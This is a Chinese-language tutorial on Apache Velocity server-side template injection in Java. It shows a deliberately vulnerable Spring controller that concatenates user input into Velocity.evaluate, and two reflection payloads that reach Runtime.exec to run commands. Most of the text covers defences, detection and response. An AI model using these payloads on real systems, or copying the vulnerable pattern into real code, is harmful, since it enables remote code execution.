JAVA安全之Velocity模板注入刨析
字数 1607 2025-08-22 12:22:24

Apache Velocity模板注入(SSTI)深度分析与防御指南

一、Velocity模板引擎基础

1.1 Velocity简介

Apache Velocity是一个基于Java的模板引擎,用于生成文本输出(HTML、XML等ASCII文本)。其核心设计目标是提供简单灵活的方式将模板与上下文数据结合。

1.2 基本语法结构

变量引用

Hello, $name!

Java代码:

context.put("name", "Al1ex");

条件判断

#if($user.isLoggedIn())
  Welcome back, $user.name!
#else
  Please log in.
#end

循环操作

#foreach($item in $items)
  <li>$item</li>
#end

宏定义

#macro(greet $name)
  Hello, $name!
#end
#greet("Alice")

方法调用

#set($currentDate = $dateTool.get("yyyy-MM-dd"))
Today's date is $currentDate.

包含插入

#include("adminDashboard.vm")

数学运算

#set($total = $price * $quantity)
The total cost is $total.

1.3 关键标识符

  1. #号标识符

    • #set:设置变量
    • #if/#else/#end:条件判断
    • #foreach:循环遍历
    • #include/#parse:包含其他模板
    • #macro:定义宏
    • #break/#stop:控制流程
  2. ${}标识符

    • 变量引用:${name}
    • 对象属性访问:${person.firstName}
    • 方法调用:${dateTool.format("yyyy-MM-dd")}
  3. $标识符

    • 简化变量引用:$name
    • 对象属性:$user.name
    • 方法调用:$dateTool.format("yyyy-MM-dd")
  4. !标识符

    • 空值处理:${name!"Guest"}

二、Velocity模板注入原理

2.1 危险方法分析

Velocity.evaluate方法

public static void evaluate(Context context, Writer writer, 
                          String templateName, String template)

参数说明:

  • Context context:数据上下文
  • Writer writer:输出流
  • String templateName:模板名称(调试用)
  • String template:要评估的模板字符串

template.merge方法

void merge(Context context, Writer writer)

2.2 注入点示例

不安全代码示例

@RestController
public class VelocityController {
    @RequestMapping("/ssti/velocity1")
    @ResponseBody
    public String velocity1(@RequestParam(defaultValue="Al1ex") String username) {
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";
        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Al1ex Al2ex Al3ex");
        ctx.put("phone", "18892936458");
        ctx.put("email", "Al1ex@heptagram.com");
        StringWriter out = new StringWriter();
        Velocity.evaluate(ctx, out, "test", templateString);
        return out.toString();
    }
}

三、攻击载荷构造与分析

3.1 基本攻击载荷

#set($e = "e")
$e.getClass().forName("java.lang.Runtime")
 .getMethod("getRuntime", null)
 .invoke(null, null)
 .exec("cmd.exe /c calc")

3.2 复杂攻击载荷

#set($s = "")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cmd.exe /c calc"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
  $out.read()
#end

3.3 执行流程分析

  1. 模板解析阶段

    • Velocity引擎初始化解析器
    • 将模板字符串转换为AST(抽象语法树)
    • 识别Velocity指令和变量引用
  2. 渲染执行阶段

    • 递归解析AST节点
    • 执行Velocity指令(如#set、#foreach等)
    • 处理变量引用和方法调用
    • 通过反射机制执行Java代码
  3. 命令执行关键点

    • 通过getClass()获取String类的Class对象
    • 使用forName()加载Runtime类
    • 反射调用getRuntime()exec()方法

四、防御措施

4.1 输入验证与过滤

  1. 严格验证用户输入,过滤危险字符:

    if (username.matches(".*[#$!{}].*")) {
        throw new IllegalArgumentException("Invalid characters in input");
    }
    
  2. 使用白名单机制:

    if (!username.matches("[a-zA-Z0-9]+")) {
        throw new IllegalArgumentException("Invalid username format");
    }
    

4.2 安全配置

  1. 启用Velocity严格模式:

    velocityEngine.setProperty("runtime.references.strict", true);
    velocityEngine.setProperty("runtime.references.strict.escape", true);
    
  2. 禁用危险功能:

    velocityEngine.setProperty("velocimacro.library", "");
    velocityEngine.setProperty("runtime.log.invalid.references", true);
    

4.3 上下文隔离

  1. 使用安全上下文包装器:

    public class SafeVelocityContext extends VelocityContext {
        @Override
        public Object put(String key, Object value) {
            if (key.contains("class") || key.contains("runtime")) {
                throw new SecurityException("Dangerous key detected");
            }
            return super.put(key, value);
        }
    }
    
  2. 限制可用工具类:

    context.put("dateTool", new SafeDateTool());
    // 而不是直接放入任意工具类
    

4.4 编码最佳实践

  1. 避免直接拼接用户输入:

    // 不安全
    String template = "Hello, " + username;
    // 安全
    String template = "Hello, $name";
    context.put("name", sanitize(username));
    
  2. 使用预编译模板:

    Template template = velocityEngine.getTemplate("safeTemplate.vm");
    // 而不是动态拼接模板字符串
    
  3. 最小化上下文暴露:

    // 只放入必要的变量
    context.put("name", sanitizedName);
    // 而不是放入整个用户对象
    

五、检测与响应

5.1 检测方法

  1. 日志监控:

    • 监控Velocity引擎日志中的异常
    • 特别关注invalid.referencesparse.error事件
  2. 静态分析:

    • 使用SAST工具扫描代码中的Velocity.evaluate()调用
    • 检查模板拼接点
  3. 动态测试:

    • 模糊测试:尝试注入各种Velocity指令
    • 上下文测试:验证哪些类和方法可通过模板访问

5.2 应急响应

  1. 攻击识别:

    • 异常模板行为(如突然出现#set$class等)
    • 系统资源异常(如突然的进程创建)
  2. 响应措施:

    try {
        template.merge(context, writer);
    } catch (VelocityException e) {
        logSecurityEvent(e);
        throw new SecurityException("Invalid template processing");
    }
    

六、总结

Velocity模板注入(SSTI)是一种严重的安全威胁,攻击者可通过精心构造的模板执行任意Java代码。防御需要多层防护:

  1. 输入层:严格验证和净化所有用户输入
  2. 配置层:启用Velocity安全配置,限制功能
  3. 代码层:避免危险编码模式,使用安全API
  4. 监控层:实施全面的日志和异常监控

通过理解Velocity模板引擎的工作原理和攻击技术,开发人员可以构建更安全的模板处理系统,有效防范SSTI攻击。

Apache Velocity模板注入(SSTI)深度分析与防御指南 一、Velocity模板引擎基础 1.1 Velocity简介 Apache Velocity是一个基于Java的模板引擎,用于生成文本输出(HTML、XML等ASCII文本)。其核心设计目标是提供简单灵活的方式将模板与上下文数据结合。 1.2 基本语法结构 变量引用 Java代码: 条件判断 循环操作 宏定义 方法调用 包含插入 数学运算 1.3 关键标识符 #号标识符 : #set :设置变量 #if/#else/#end :条件判断 #foreach :循环遍历 #include/#parse :包含其他模板 #macro :定义宏 #break/#stop :控制流程 ${}标识符 : 变量引用: ${name} 对象属性访问: ${person.firstName} 方法调用: ${dateTool.format("yyyy-MM-dd")} $标识符 : 简化变量引用: $name 对象属性: $user.name 方法调用: $dateTool.format("yyyy-MM-dd") !标识符 : 空值处理: ${name!"Guest"} 二、Velocity模板注入原理 2.1 危险方法分析 Velocity.evaluate方法 参数说明: Context context :数据上下文 Writer writer :输出流 String templateName :模板名称(调试用) String template :要评估的模板字符串 template.merge方法 2.2 注入点示例 不安全代码示例 : 三、攻击载荷构造与分析 3.1 基本攻击载荷 3.2 复杂攻击载荷 3.3 执行流程分析 模板解析阶段 : Velocity引擎初始化解析器 将模板字符串转换为AST(抽象语法树) 识别Velocity指令和变量引用 渲染执行阶段 : 递归解析AST节点 执行Velocity指令(如#set、#foreach等) 处理变量引用和方法调用 通过反射机制执行Java代码 命令执行关键点 : 通过 getClass() 获取String类的Class对象 使用 forName() 加载Runtime类 反射调用 getRuntime() 和 exec() 方法 四、防御措施 4.1 输入验证与过滤 严格验证用户输入,过滤危险字符: 使用白名单机制: 4.2 安全配置 启用Velocity严格模式: 禁用危险功能: 4.3 上下文隔离 使用安全上下文包装器: 限制可用工具类: 4.4 编码最佳实践 避免直接拼接用户输入: 使用预编译模板: 最小化上下文暴露: 五、检测与响应 5.1 检测方法 日志监控: 监控Velocity引擎日志中的异常 特别关注 invalid.references 和 parse.error 事件 静态分析: 使用SAST工具扫描代码中的 Velocity.evaluate() 调用 检查模板拼接点 动态测试: 模糊测试:尝试注入各种Velocity指令 上下文测试:验证哪些类和方法可通过模板访问 5.2 应急响应 攻击识别: 异常模板行为(如突然出现 #set 、 $class 等) 系统资源异常(如突然的进程创建) 响应措施: 六、总结 Velocity模板注入(SSTI)是一种严重的安全威胁,攻击者可通过精心构造的模板执行任意Java代码。防御需要多层防护: 输入层 :严格验证和净化所有用户输入 配置层 :启用Velocity安全配置,限制功能 代码层 :避免危险编码模式,使用安全API 监控层 :实施全面的日志和异常监控 通过理解Velocity模板引擎的工作原理和攻击技术,开发人员可以构建更安全的模板处理系统,有效防范SSTI攻击。